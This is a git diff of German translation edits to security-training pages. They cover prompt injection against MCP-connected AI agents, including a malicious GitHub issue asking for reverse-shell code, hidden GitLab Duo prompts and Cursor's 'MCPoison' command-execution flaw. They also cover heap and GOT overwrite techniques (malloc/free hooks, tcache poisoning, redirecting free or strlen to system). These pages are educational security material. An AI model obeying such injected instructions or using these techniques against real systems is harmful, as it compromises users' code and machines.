Translated ['src/generic-methodologies-and-resources/basic-forensic-meth

This commit is contained in:
Translator 2025-08-21 16:00:00 +00:00
parent 003be7893a
commit fecffa48f5
249 changed files with 4654 additions and 3879 deletions

View File

@ -7,7 +7,7 @@
Das [**Model Context Protocol (MCP)**](https://modelcontextprotocol.io/introduction) ist ein offener Standard, der es KI-Modellen (LLMs) ermöglicht, sich auf eine Plug-and-Play-Art und Weise mit externen Tools und Datenquellen zu verbinden. Dies ermöglicht komplexe Workflows: Zum Beispiel kann eine IDE oder ein Chatbot *dynamisch Funktionen* auf MCP-Servern aufrufen, als ob das Modell natürlich "wüsste", wie man sie verwendet. Im Hintergrund verwendet MCP eine Client-Server-Architektur mit JSON-basierten Anfragen über verschiedene Transportmittel (HTTP, WebSockets, stdio usw.).
Eine **Host-Anwendung** (z. B. Claude Desktop, Cursor IDE) führt einen MCP-Client aus, der sich mit einem oder mehreren **MCP-Servern** verbindet. Jeder Server stellt eine Reihe von *Tools* (Funktionen, Ressourcen oder Aktionen) zur Verfügung, die in einem standardisierten Schema beschrieben sind. Wenn der Host sich verbindet, fragt er den Server nach seinen verfügbaren Tools über eine `tools/list`-Anfrage; die zurückgegebenen Tool-Beschreibungen werden dann in den Kontext des Modells eingefügt, damit die KI weiß, welche Funktionen existieren und wie man sie aufruft.
Eine **Host-Anwendung** (z. B. Claude Desktop, Cursor IDE) führt einen MCP-Client aus, der sich mit einem oder mehreren **MCP-Servern** verbindet. Jeder Server stellt eine Reihe von *Tools* (Funktionen, Ressourcen oder Aktionen) zur Verfügung, die in einem standardisierten Schema beschrieben sind. Wenn der Host sich verbindet, fragt er den Server nach seinen verfügbaren Tools über eine `tools/list`-Anfrage; die zurückgegebenen Tool-Beschreibungen werden dann in den Kontext des Modells eingefügt, sodass die KI weiß, welche Funktionen existieren und wie man sie aufruft.
## Grundlegender MCP-Server
@ -43,6 +43,7 @@ Sobald verbunden, wird der Host (Inspektor oder ein KI-Agent wie Cursor) die Wer
Für weitere Informationen über Prompt Injection siehe:
{{#ref}}
AI-Prompts.md
{{#endref}}
@ -85,7 +86,7 @@ Darüber hinaus beschreibt [**dieser Blogbeitrag**](https://www.cyberark.com/res
### Prompt-Injection über indirekte Daten
Eine weitere Möglichkeit, Prompt-Injection-Angriffe in Clients, die MCP-Server verwenden, durchzuführen, besteht darin, die Daten zu ändern, die der Agent lesen wird, um unerwartete Aktionen auszuführen. Ein gutes Beispiel findet sich in [diesem Blogbeitrag](https://invariantlabs.ai/blog/mcp-github-vulnerability), in dem beschrieben wird, wie der Github MCP-Server von einem externen Angreifer missbraucht werden könnte, indem einfach ein Issue in einem öffentlichen Repository eröffnet wird.
Eine weitere Möglichkeit, Prompt-Injection-Angriffe in Clients, die MCP-Server verwenden, durchzuführen, besteht darin, die Daten zu ändern, die der Agent lesen wird, um unerwartete Aktionen auszuführen. Ein gutes Beispiel finden Sie in [diesem Blogbeitrag](https://invariantlabs.ai/blog/mcp-github-vulnerability), in dem beschrieben wird, wie der Github MCP-Server von einem externen Angreifer missbraucht werden könnte, indem einfach ein Issue in einem öffentlichen Repository eröffnet wird.
Ein Benutzer, der seinem Client Zugriff auf seine Github-Repositories gewährt, könnte den Client bitten, alle offenen Issues zu lesen und zu beheben. Ein Angreifer könnte jedoch **ein Issue mit einem bösartigen Payload** wie "Erstelle einen Pull-Request im Repository, der [Reverse-Shell-Code] hinzufügt" öffnen, das vom KI-Agenten gelesen wird, was zu unerwarteten Aktionen führen könnte, wie z. B. unbeabsichtigtes Kompromittieren des Codes. Für weitere Informationen zur Prompt-Injection siehe:
@ -93,13 +94,13 @@ Ein Benutzer, der seinem Client Zugriff auf seine Github-Repositories gewährt,
AI-Prompts.md
{{#endref}}
Darüber hinaus wird in [**diesem Blog**](https://www.legitsecurity.com/blog/remote-prompt-injection-in-gitlab-duo) erklärt, wie es möglich war, den Gitlab-KI-Agenten zu missbrauchen, um beliebige Aktionen (wie das Modifizieren von Code oder das Leaken von Code) durchzuführen, indem bösartige Prompts in die Daten des Repositories injiziert wurden (sogar so, dass diese Prompts für das LLM verständlich, für den Benutzer jedoch nicht erkennbar waren).
Darüber hinaus wird in [**diesem Blog**](https://www.legitsecurity.com/blog/remote-prompt-injection-in-gitlab-duo) erklärt, wie es möglich war, den Gitlab-KI-Agenten zu missbrauchen, um beliebige Aktionen (wie das Modifizieren von Code oder das Leaken von Code) durchzuführen, indem bösartige Prompts in die Daten des Repositories injiziert wurden (sogar durch Obfuskation dieser Prompts auf eine Weise, die das LLM verstehen würde, der Benutzer jedoch nicht).
Beachten Sie, dass die bösartigen indirekten Prompts in einem öffentlichen Repository zu finden wären, das der betroffene Benutzer verwendet, jedoch, da der Agent weiterhin Zugriff auf die Repos des Benutzers hat, wird er in der Lage sein, darauf zuzugreifen.
### Persistente Codeausführung über MCP-Vertrauensumgehung (Cursor IDE "MCPoison")
Anfang 2025 gab Check Point Research bekannt, dass die KI-zentrierte **Cursor IDE** das Benutzervertrauen an den *Namen* eines MCP-Eintrags band, jedoch nie den zugrunde liegenden `command` oder `args` erneut validierte. Dieser Logikfehler (CVE-2025-54136, auch bekannt als **MCPoison**) ermöglicht es jedem, der in ein gemeinsames Repository schreiben kann, einen bereits genehmigten, harmlosen MCP in einen beliebigen Befehl zu verwandeln, der *jedes Mal ausgeführt wird, wenn das Projekt geöffnet wird* ohne angezeigten Prompt.
Anfang 2025 gab Check Point Research bekannt, dass die KI-zentrierte **Cursor IDE** das Vertrauen der Benutzer an den *Namen* eines MCP-Eintrags band, aber nie den zugrunde liegenden `command` oder `args` erneut validierte. Dieser Logikfehler (CVE-2025-54136, auch bekannt als **MCPoison**) ermöglicht es jedem, der in ein gemeinsames Repository schreiben kann, einen bereits genehmigten, harmlosen MCP in einen beliebigen Befehl zu verwandeln, der *jedes Mal ausgeführt wird, wenn das Projekt geöffnet wird* kein Prompt wird angezeigt.
#### Verwundbarer Workflow

View File

@ -8,6 +8,7 @@
Sie sollten mit dem Lesen dieses Beitrags beginnen, um einige grundlegende Konzepte zu verstehen, die Sie wissen sollten:
{{#ref}}
0.-basic-llm-concepts.md
{{#endref}}
@ -17,6 +18,7 @@ Sie sollten mit dem Lesen dieses Beitrags beginnen, um einige grundlegende Konze
> [!TIP]
> Das Ziel dieser ersten Phase ist sehr einfach: **Teilen Sie die Eingabe in Tokens (IDs) auf eine Weise, die Sinn macht**.
{{#ref}}
1.-tokenizing.md
{{#endref}}
@ -26,6 +28,7 @@ Sie sollten mit dem Lesen dieses Beitrags beginnen, um einige grundlegende Konze
> [!TIP]
> Das Ziel dieser zweiten Phase ist sehr einfach: **Proben Sie die Eingabedaten und bereiten Sie sie für die Trainingsphase vor, indem Sie den Datensatz normalerweise in Sätze einer bestimmten Länge unterteilen und auch die erwartete Antwort generieren.**
{{#ref}}
2.-data-sampling.md
{{#endref}}
@ -34,10 +37,11 @@ Sie sollten mit dem Lesen dieses Beitrags beginnen, um einige grundlegende Konze
> [!TIP]
> Das Ziel dieser dritten Phase ist sehr einfach: **Weisen Sie jedem der vorherigen Tokens im Vokabular einen Vektor der gewünschten Dimensionen zu, um das Modell zu trainieren.** Jedes Wort im Vokabular wird einen Punkt in einem Raum von X Dimensionen haben.\
> Beachten Sie, dass die Position jedes Wortes im Raum zunächst "zufällig" initialisiert wird und diese Positionen trainierbare Parameter sind (werden während des Trainings verbessert).
> Beachten Sie, dass die Position jedes Wortes im Raum zunächst "zufällig" initialisiert wird und diese Positionen trainierbare Parameter sind (während des Trainings verbessert werden).
>
> Darüber hinaus wird während des Token-Embeddings **eine weitere Schicht von Embeddings erstellt**, die (in diesem Fall) die **absolute Position des Wortes im Trainingssatz** darstellt. Auf diese Weise hat ein Wort an verschiedenen Positionen im Satz eine unterschiedliche Darstellung (Bedeutung).
{{#ref}}
3.-token-embeddings.md
{{#endref}}
@ -46,7 +50,8 @@ Sie sollten mit dem Lesen dieses Beitrags beginnen, um einige grundlegende Konze
> [!TIP]
> Das Ziel dieser vierten Phase ist sehr einfach: **Wenden Sie einige Aufmerksamkeitsmechanismen an**. Diese werden viele **wiederholte Schichten** sein, die die **Beziehung eines Wortes im Vokabular zu seinen Nachbarn im aktuellen Satz, der zum Trainieren des LLM verwendet wird, erfassen**.\
> Viele Schichten werden dafür verwendet, sodass viele trainierbare Parameter diese Informationen erfassen werden.
> Es werden viele Schichten dafür verwendet, sodass viele trainierbare Parameter diese Informationen erfassen werden.
{{#ref}}
4.-attention-mechanisms.md
@ -59,6 +64,7 @@ Sie sollten mit dem Lesen dieses Beitrags beginnen, um einige grundlegende Konze
>
> Diese Architektur wird sowohl für das Training als auch für die Vorhersage von Text nach dem Training verwendet.
{{#ref}}
5.-llm-architecture.md
{{#endref}}
@ -66,7 +72,8 @@ Sie sollten mit dem Lesen dieses Beitrags beginnen, um einige grundlegende Konze
## 6. Vortraining & Laden von Modellen
> [!TIP]
> Das Ziel dieser sechsten Phase ist sehr einfach: **Trainieren Sie das Modell von Grund auf**. Dazu wird die vorherige LLM-Architektur mit einigen Schleifen über die Datensätze verwendet, wobei die definierten Verlustfunktionen und der Optimierer verwendet werden, um alle Parameter des Modells zu trainieren.
> Das Ziel dieser sechsten Phase ist sehr einfach: **Trainieren Sie das Modell von Grund auf neu**. Dazu wird die vorherige LLM-Architektur mit einigen Schleifen über die Datensätze verwendet, wobei die definierten Verlustfunktionen und der Optimierer verwendet werden, um alle Parameter des Modells zu trainieren.
{{#ref}}
6.-pre-training-and-loading-models.md
@ -77,6 +84,7 @@ Sie sollten mit dem Lesen dieses Beitrags beginnen, um einige grundlegende Konze
> [!TIP]
> Die Verwendung von **LoRA reduziert die benötigte Berechnung** erheblich, um **bereits trainierte Modelle fein abzustimmen**.
{{#ref}}
7.0.-lora-improvements-in-fine-tuning.md
{{#endref}}
@ -84,7 +92,8 @@ Sie sollten mit dem Lesen dieses Beitrags beginnen, um einige grundlegende Konze
## 7.1. Feintuning für Klassifikation
> [!TIP]
> Das Ziel dieses Abschnitts ist zu zeigen, wie man ein bereits vortrainiertes Modell fein abstimmt, sodass das LLM anstelle von neuem Text die **Wahrscheinlichkeiten des gegebenen Textes für jede der gegebenen Kategorien** (wie ob ein Text Spam ist oder nicht) angibt.
> Das Ziel dieses Abschnitts ist zu zeigen, wie man ein bereits vortrainiertes Modell fein abstimmt, sodass das LLM anstelle von neuem Text die **Wahrscheinlichkeiten des gegebenen Textes für jede der angegebenen Kategorien** (wie ob ein Text Spam ist oder nicht) angibt.
{{#ref}}
7.1.-fine-tuning-for-classification.md
@ -95,6 +104,7 @@ Sie sollten mit dem Lesen dieses Beitrags beginnen, um einige grundlegende Konze
> [!TIP]
> Das Ziel dieses Abschnitts ist zu zeigen, wie man ein **bereits vortrainiertes Modell fein abstimmt, um Anweisungen zu befolgen**, anstatt nur Text zu generieren, zum Beispiel, um auf Aufgaben als Chatbot zu antworten.
{{#ref}}
7.2.-fine-tuning-to-follow-instructions.md
{{#endref}}

View File

@ -6,26 +6,31 @@
Der beste Ausgangspunkt, um über KI zu lernen, ist zu verstehen, wie die Hauptmaschinenlernalgorithmen funktionieren. Dies wird Ihnen helfen, zu verstehen, wie KI funktioniert, wie man sie nutzt und wie man sie angreift:
{{#ref}}
./AI-Supervised-Learning-Algorithms.md
{{#endref}}
{{#ref}}
./AI-Unsupervised-Learning-Algorithms.md
{{#endref}}
{{#ref}}
./AI-Reinforcement-Learning-Algorithms.md
{{#endref}}
{{#ref}}
./AI-Deep-Learning.md
{{#endref}}
### LLMs Architektur
### LLMs-Architektur
Auf der folgenden Seite finden Sie die Grundlagen jedes Komponenten, um ein einfaches LLM mit Transformatoren zu erstellen:
{{#ref}}
AI-llm-architecture/README.md
{{#endref}}
@ -36,6 +41,7 @@ AI-llm-architecture/README.md
Im Moment sind die beiden Hauptrahmenwerke zur Bewertung der Risiken von KI-Systemen die OWASP ML Top 10 und das Google SAIF:
{{#ref}}
AI-Risk-Frameworks.md
{{#endref}}
@ -44,6 +50,7 @@ AI-Risk-Frameworks.md
LLMs haben die Nutzung von KI in den letzten Jahren explodieren lassen, aber sie sind nicht perfekt und können durch adversarielle Prompts getäuscht werden. Dies ist ein sehr wichtiges Thema, um zu verstehen, wie man KI sicher nutzt und wie man sie angreift:
{{#ref}}
AI-Prompts.md
{{#endref}}
@ -52,13 +59,15 @@ AI-Prompts.md
Es ist sehr verbreitet, dass Entwickler und Unternehmen Modelle aus dem Internet herunterladen und ausführen. Allerdings kann das bloße Laden eines Modells ausreichen, um beliebigen Code auf dem System auszuführen. Dies ist ein sehr wichtiges Thema, um zu verstehen, wie man KI sicher nutzt und wie man sie angreift:
{{#ref}}
AI-Models-RCE.md
{{#endref}}
### Protokoll für den Kontext von KI-Modellen
MCP (Model Context Protocol) ist ein Protokoll, das es KI-Agenten-Clients ermöglicht, sich mit externen Tools und Datenquellen auf eine Plug-and-Play-Art und Weise zu verbinden. Dies ermöglicht komplexe Workflows und Interaktionen zwischen KI-Modellen und externen Systemen:
MCP (Model Context Protocol) ist ein Protokoll, das es KI-Agenten-Clients ermöglicht, sich auf eine Plug-and-Play-Art und Weise mit externen Tools und Datenquellen zu verbinden. Dies ermöglicht komplexe Workflows und Interaktionen zwischen KI-Modellen und externen Systemen:
{{#ref}}
AI-MCP-Servers.md
@ -66,6 +75,7 @@ AI-MCP-Servers.md
### KI-unterstütztes Fuzzing & automatisierte Schwachstellenerkennung
{{#ref}}
AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md
{{#endref}}

View File

@ -4,7 +4,7 @@
## **Malloc Hook**
Wie auf der [offiziellen GNU-Seite](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html) beschrieben, ist die Variable **`__malloc_hook`** ein Zeiger, der auf die **Adresse einer Funktion zeigt, die aufgerufen wird**, wann immer `malloc()` aufgerufen wird, **gespeichert im Datensegment der libc-Bibliothek**. Daher, wenn diese Adresse mit einem **One Gadget** überschrieben wird und `malloc` aufgerufen wird, wird **der One Gadget aufgerufen**.
Wie auf der [offiziellen GNU-Seite](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html) beschrieben, ist die Variable **`__malloc_hook`** ein Zeiger, der auf die **Adresse einer Funktion zeigt, die aufgerufen wird**, wann immer `malloc()` aufgerufen wird, **die im Datensegment der libc-Bibliothek gespeichert ist**. Daher, wenn diese Adresse mit einem **One Gadget** überschrieben wird und `malloc` aufgerufen wird, wird der **One Gadget aufgerufen**.
Um malloc aufzurufen, ist es möglich, darauf zu warten, dass das Programm es aufruft, oder indem man **`printf("%10000$c")`** aufruft, was zu viele Bytes allokiert, sodass `libc` malloc aufruft, um sie im Heap zu allokieren.
@ -29,7 +29,7 @@ Es ist möglich, die Adresse von `__free_hook` zu finden, wenn die Binärdatei S
```bash
gef➤ p &__free_hook
```
[In dem Beitrag](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) finden Sie eine Schritt-für-Schritt-Anleitung, wie Sie die Adresse des freien Hooks ohne Symbole lokalisieren können. Zusammenfassend lässt sich sagen, dass in der Funktion free:
[In dem Beitrag](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) finden Sie eine Schritt-für-Schritt-Anleitung, wie Sie die Adresse des free hooks ohne Symbole lokalisieren können. Zusammenfassend lässt sich sagen, dass in der free-Funktion:
<pre class="language-armasm"><code class="lang-armasm">gef➤ x/20i free
0xf75dedc0 <free>: push ebx
@ -43,9 +43,9 @@ gef➤ p &__free_hook
0xf75deddd <free+29>: jne 0xf75dee50 <free+144>
</code></pre>
An der genannten Breakpoint-Stelle im vorherigen Code wird sich die Adresse des freien Hooks in `$eax` befinden.
An der genannten Breakpoint-Stelle im vorherigen Code wird sich die Adresse des free hooks in `$eax` befinden.
Jetzt wird ein **Fast-Bin-Angriff** durchgeführt:
Jetzt wird ein **Fast Bin Angriff** durchgeführt:
- Zunächst wird entdeckt, dass es möglich ist, mit schnellen **Chunks der Größe 200** im **`__free_hook`**-Bereich zu arbeiten:
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
@ -56,15 +56,15 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
- Wenn es uns gelingt, einen schnellen Chunk der Größe 0x200 an dieser Stelle zu erhalten, wird es möglich sein, einen Funktionszeiger zu überschreiben, der ausgeführt wird.
- Dazu wird ein neuer Chunk der Größe `0xfc` erstellt und die zusammengeführte Funktion wird mit diesem Zeiger zweimal aufgerufen, sodass wir einen Zeiger auf einen freigegebenen Chunk der Größe `0xfc*2 = 0x1f8` im Fast-Bin erhalten.
- Dann wird die Edit-Funktion in diesem Chunk aufgerufen, um die **`fd`**-Adresse dieses Fast-Bins so zu ändern, dass sie auf die vorherige **`__free_hook`**-Funktion zeigt.
- Anschließend wird ein Chunk der Größe `0x1f8` erstellt, um den vorherigen nutzlosen Chunk aus dem Fast-Bin abzurufen, sodass ein weiterer Chunk der Größe `0x1f8` erstellt wird, um einen Fast-Bin-Chunk im **`__free_hook`** zu erhalten, der mit der Adresse der **`system`**-Funktion überschrieben wird.
- Wenn es gelingt, einen schnellen Chunk der Größe 0x200 an dieser Stelle zu erhalten, wird es möglich sein, einen Funktionszeiger zu überschreiben, der ausgeführt wird.
- Dazu wird ein neuer Chunk der Größe `0xfc` erstellt und die zusammengeführte Funktion wird mit diesem Zeiger zweimal aufgerufen, sodass wir einen Zeiger auf einen freigegebenen Chunk der Größe `0xfc*2 = 0x1f8` im Fast Bin erhalten.
- Dann wird die Edit-Funktion in diesem Chunk aufgerufen, um die **`fd`**-Adresse dieses Fast Bins so zu ändern, dass sie auf die vorherige **`__free_hook`**-Funktion zeigt.
- Anschließend wird ein Chunk der Größe `0x1f8` erstellt, um den vorherigen nutzlosen Chunk aus dem Fast Bin abzurufen, sodass ein weiterer Chunk der Größe `0x1f8` erstellt wird, um einen Fast Bin Chunk im **`__free_hook`** zu erhalten, der mit der Adresse der **`system`**-Funktion überschrieben wird.
- Und schließlich wird ein Chunk, das die Zeichenkette `/bin/sh\x00` enthält, freigegeben, indem die Delete-Funktion aufgerufen wird, wodurch die **`__free_hook`**-Funktion ausgelöst wird, die auf system mit `/bin/sh\x00` als Parameter zeigt.
---
## Tcache-Vergiftung & Safe-Linking (glibc 2.32 2.33)
## Tcache Poisoning & Safe-Linking (glibc 2.32 2.33)
glibc 2.32 führte **Safe-Linking** ein eine Integritätsprüfung, die die *einzel*-verketteten Listen schützt, die von **tcache** und Fast-Bins verwendet werden. Anstelle eines rohen Vorwärtszeigers (`fd`) speichert ptmalloc ihn jetzt *obfuskiert* mit dem folgenden Makro:
```c
@ -76,7 +76,7 @@ Folgen der Ausnutzung:
1. Ein **heap leak** ist zwingend erforderlich der Angreifer muss den Laufzeitwert von `chunk_addr >> 12` kennen, um einen gültigen obfuskierten Zeiger zu erstellen.
2. Nur der *vollständige* 8-Byte-Zeiger kann gefälscht werden; einbyte-partielle Überschreibungen bestehen die Überprüfung nicht.
Ein minimales tcache-poisoning-Primitiv, das `__free_hook` auf glibc 2.32/2.33 überschreibt, sieht daher wie folgt aus:
Ein minimales tcache-poisoning Primitive, das `__free_hook` auf glibc 2.32/2.33 überschreibt, sieht daher wie folgt aus:
```py
from pwn import *
@ -117,7 +117,7 @@ Der obige Auszug wurde aus aktuellen CTF-Herausforderungen wie *UIUCTF 2024
## Was hat sich in glibc ≥ 2.34 geändert?
Beginnend mit **glibc 2.34 (August 2021)** wurden die Allokations-Hooks `__malloc_hook`, `__realloc_hook`, `__memalign_hook` und `__free_hook` **aus der öffentlichen API entfernt und werden vom Allokator nicht mehr aufgerufen**. Kompatibilitätssymbole werden weiterhin für Legacy-Binärdateien exportiert, aber das Überschreiben dieser hat keinen Einfluss mehr auf den Kontrollfluss von `malloc()` oder `free()`.
Beginnend mit **glibc 2.34 (August 2021)** wurden die Zuweisungshooks `__malloc_hook`, `__realloc_hook`, `__memalign_hook` und `__free_hook` **aus der öffentlichen API entfernt und werden vom Zuweiser nicht mehr aufgerufen**. Kompatibilitätssymbole werden weiterhin für Legacy-Binärdateien exportiert, aber das Überschreiben dieser hat keinen Einfluss mehr auf den Kontrollfluss von `malloc()` oder `free()`.
Praktische Auswirkung: In modernen Distributionen (Ubuntu 22.04+, Fedora 35+, Debian 12 usw.) müssen Sie auf *andere* Hijack-Primitiven (IO-FILE, `__run_exit_handlers`, vtable spraying usw.) umschwenken, da Hook-Überschreibungen stillschweigend fehlschlagen.
@ -130,6 +130,6 @@ Wenn Sie das alte Verhalten für Debugging-Zwecke benötigen, liefert glibc `lib
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
- Safe-Linking Eliminierung eines 20 Jahre alten malloc() Exploit-Primitivs (Check Point Research, 2020)
- glibc 2.34 Versionshinweise Entfernung der malloc Hooks
- glibc 2.34 Versionshinweise Entfernung der malloc-Hooks
{{#include ../../banners/hacktricks-training.md}}

View File

@ -8,11 +8,11 @@
Die **Global Offset Table (GOT)** ist ein Mechanismus, der in dynamisch verlinkten Binärdateien verwendet wird, um die **Adressen externer Funktionen** zu verwalten. Da diese **Adressen bis zur Laufzeit nicht bekannt sind** (aufgrund der dynamischen Verlinkung), bietet die GOT eine Möglichkeit, die **Adressen dieser externen Symbole dynamisch zu aktualisieren**, sobald sie aufgelöst sind.
Jeder Eintrag in der GOT entspricht einem Symbol in den externen Bibliotheken, die die Binärdatei aufrufen kann. Wenn eine **Funktion zum ersten Mal aufgerufen wird, wird ihre tatsächliche Adresse vom dynamischen Linker aufgelöst und in der GOT gespeichert**. Nachfolgende Aufrufe der gleichen Funktion verwenden die in der GOT gespeicherte Adresse, wodurch der Overhead der erneuten Adressauflösung vermieden wird.
Jeder Eintrag in der GOT entspricht einem Symbol in den externen Bibliotheken, die die Binärdatei aufrufen kann. Wenn eine **Funktion zum ersten Mal aufgerufen wird, wird ihre tatsächliche Adresse vom dynamischen Linker aufgelöst und in der GOT gespeichert**. Nachfolgende Aufrufe der gleichen Funktion verwenden die in der GOT gespeicherte Adresse, wodurch der Overhead des erneuten Auflösens der Adresse vermieden wird.
### **PLT: Procedure Linkage Table**
Die **Procedure Linkage Table (PLT)** arbeitet eng mit der GOT zusammen und dient als Trampolin, um Aufrufe an externe Funktionen zu handhaben. Wenn eine Binärdatei **eine externe Funktion zum ersten Mal aufruft, wird die Kontrolle an einen Eintrag in der PLT übergeben, der mit dieser Funktion verknüpft ist**. Dieser PLT-Eintrag ist dafür verantwortlich, den dynamischen Linker aufzurufen, um die Adresse der Funktion aufzulösen, falls sie noch nicht aufgelöst wurde. Nachdem die Adresse aufgelöst wurde, wird sie in der **GOT** gespeichert.
Die **Procedure Linkage Table (PLT)** arbeitet eng mit der GOT zusammen und dient als Trampolin, um Aufrufe an externe Funktionen zu handhaben. Wenn eine Binärdatei **eine externe Funktion zum ersten Mal aufruft, wird die Kontrolle an einen Eintrag in der PLT übergeben, der mit dieser Funktion verbunden ist**. Dieser PLT-Eintrag ist dafür verantwortlich, den dynamischen Linker aufzurufen, um die Adresse der Funktion aufzulösen, falls sie noch nicht aufgelöst wurde. Nachdem die Adresse aufgelöst wurde, wird sie in der **GOT** gespeichert.
**Daher** werden GOT-Einträge direkt verwendet, sobald die Adresse einer externen Funktion oder Variablen aufgelöst ist. **PLT-Einträge werden verwendet, um die anfängliche Auflösung** dieser Adressen über den dynamischen Linker zu erleichtern.
@ -26,7 +26,7 @@ Holen Sie sich die Adresse der GOT-Tabelle mit: **`objdump -s -j .got ./exec`**
Beobachten Sie, wie Sie nach dem **Laden** der **ausführbaren Datei** in GEF die **Funktionen** sehen können, die in der **GOT** sind: `gef➤ x/20x 0xADDR_GOT`
![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
Mit GEF können Sie eine **Debugging**-Sitzung **starten** und **`got`** ausführen, um die GOT-Tabelle zu sehen:
@ -34,11 +34,11 @@ Mit GEF können Sie eine **Debugging**-Sitzung **starten** und **`got`** ausfüh
### GOT2Exec
In einer Binärdatei hat die GOT die **Adressen zu den Funktionen oder** zum **PLT**-Abschnitt, der die Funktionsadresse lädt. Das Ziel dieses willkürlichen Schreibens ist es, einen **GOT-Eintrag** einer Funktion, die später ausgeführt wird, **mit** der **Adresse** des PLT der **`system`** **Funktion** beispielsweise zu überschreiben.
In einer Binärdatei hat die GOT die **Adressen zu den Funktionen oder** zum **PLT**-Abschnitt, der die Funktionsadresse lädt. Das Ziel dieses willkürlichen Schreibens ist es, einen **GOT-Eintrag** einer Funktion, die später ausgeführt wird, **mit** der **Adresse** des PLT der **`system`** **Funktion** beispielsweise zu **überschreiben**.
Idealerweise werden Sie die **GOT** einer **Funktion** überschreiben, die **mit von Ihnen kontrollierten Parametern aufgerufen wird** (so dass Sie die an die Systemfunktion gesendeten Parameter steuern können).
Idealerweise werden Sie die **GOT** einer **Funktion** **überschreiben**, die **mit von Ihnen kontrollierten Parametern aufgerufen wird** (so dass Sie die an die Systemfunktion gesendeten Parameter steuern können).
Wenn **`system`** **nicht verwendet wird** von der Binärdatei, wird die Systemfunktion **keinen** Eintrag in der PLT haben. In diesem Szenario müssen Sie **zuerst die Adresse** der `system`-Funktion leaken und dann die GOT überschreiben, um auf diese Adresse zu zeigen.
Wenn **`system`** **nicht verwendet wird** von der Binärdatei, wird die Systemfunktion **keinen** Eintrag in der PLT haben. In diesem Szenario müssen Sie **zuerst die Adresse** der `system`-Funktion **leaken** und dann die GOT überschreiben, um auf diese Adresse zu zeigen.
Sie können die PLT-Adressen mit **`objdump -j .plt -d ./vuln_binary`** sehen.
@ -52,30 +52,32 @@ Finden Sie [**weitere Informationen zu dieser Technik hier**](https://github.com
### **Free2system**
In Heap-Exploitation-CTFs ist es üblich, den Inhalt von Chunks zu kontrollieren und irgendwann sogar die GOT-Tabelle zu überschreiben. Ein einfacher Trick, um RCE zu erhalten, wenn keine Gadgets verfügbar sind, besteht darin, die `free` GOT-Adresse auf `system` zu überschreiben und in einen Chunk `"/bin/sh"` zu schreiben. Auf diese Weise wird, wenn dieser Chunk freigegeben wird, `system("/bin/sh")` ausgeführt.
In Heap-Exploitation-CTFs ist es üblich, den Inhalt von Chunks zu kontrollieren und zu einem bestimmten Zeitpunkt sogar die GOT-Tabelle zu überschreiben. Ein einfacher Trick, um RCE zu erhalten, wenn keine Gadgets verfügbar sind, besteht darin, die `free` GOT-Adresse auf `system` zu setzen und in einen Chunk `"/bin/sh"` zu schreiben. Auf diese Weise wird, wenn dieser Chunk freigegeben wird, `system("/bin/sh")` ausgeführt.
### **Strlen2system**
Eine weitere gängige Technik besteht darin, die **`strlen`** GOT-Adresse auf **`system`** zu überschreiben, sodass, wenn diese Funktion mit Benutzereingaben aufgerufen wird, es möglich ist, den String `"/bin/sh"` zu übergeben und eine Shell zu erhalten.
Eine weitere gängige Technik besteht darin, die **`strlen`** GOT-Adresse auf **`system`** zu setzen, sodass, wenn diese Funktion mit Benutzereingaben aufgerufen wird, es möglich ist, den String `"/bin/sh"` zu übergeben und eine Shell zu erhalten.
Darüber hinaus, wenn `puts` mit Benutzereingaben verwendet wird, ist es möglich, die `strlen` GOT-Adresse auf `system` zu überschreiben und den String `"/bin/sh"` zu übergeben, um eine Shell zu erhalten, da **`puts` `strlen` mit der Benutzereingabe aufruft**.
Darüber hinaus, wenn `puts` mit Benutzereingaben verwendet wird, ist es möglich, die `strlen` GOT-Adresse auf `system` zu setzen und den String `"/bin/sh"` zu übergeben, um eine Shell zu erhalten, da **`puts` `strlen` mit der Benutzereingabe aufruft**.
## **One Gadget**
{{#ref}}
../rop-return-oriented-programing/ret2lib/one-gadget.md
{{#endref}}
## **Missbrauch der GOT aus dem Heap**
Eine gängige Methode, um RCE aus einer Heap-Sicherheitsanfälligkeit zu erhalten, besteht darin, einen Fastbin auszunutzen, sodass es möglich ist, den Teil der GOT-Tabelle in den Fastbin hinzuzufügen, sodass, wann immer dieser Chunk zugewiesen wird, es möglich ist, **den Zeiger einer Funktion, normalerweise `free`**, zu überschreiben.\
Eine gängige Methode, um RCE aus einer Heap-Sicherheitsanfälligkeit zu erhalten, besteht darin, einen Fastbin zu missbrauchen, sodass es möglich ist, den Teil der GOT-Tabelle in den Fastbin einzufügen, sodass, wann immer dieser Chunk zugewiesen wird, es möglich ist, **den Zeiger einer Funktion, normalerweise `free`**, zu überschreiben.\
Dann wird `free` auf `system` gezeigt und das Freigeben eines Chunks, in dem `/bin/sh\x00` geschrieben wurde, wird eine Shell ausführen.
Es ist möglich, ein [**Beispiel hier zu finden**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.**
## **Schutzmaßnahmen**
Der **Full RELRO**-Schutz soll gegen diese Art von Technik schützen, indem alle Adressen der Funktionen beim Start der Binärdatei aufgelöst werden und die **GOT-Tabelle danach schreibgeschützt** gemacht wird:
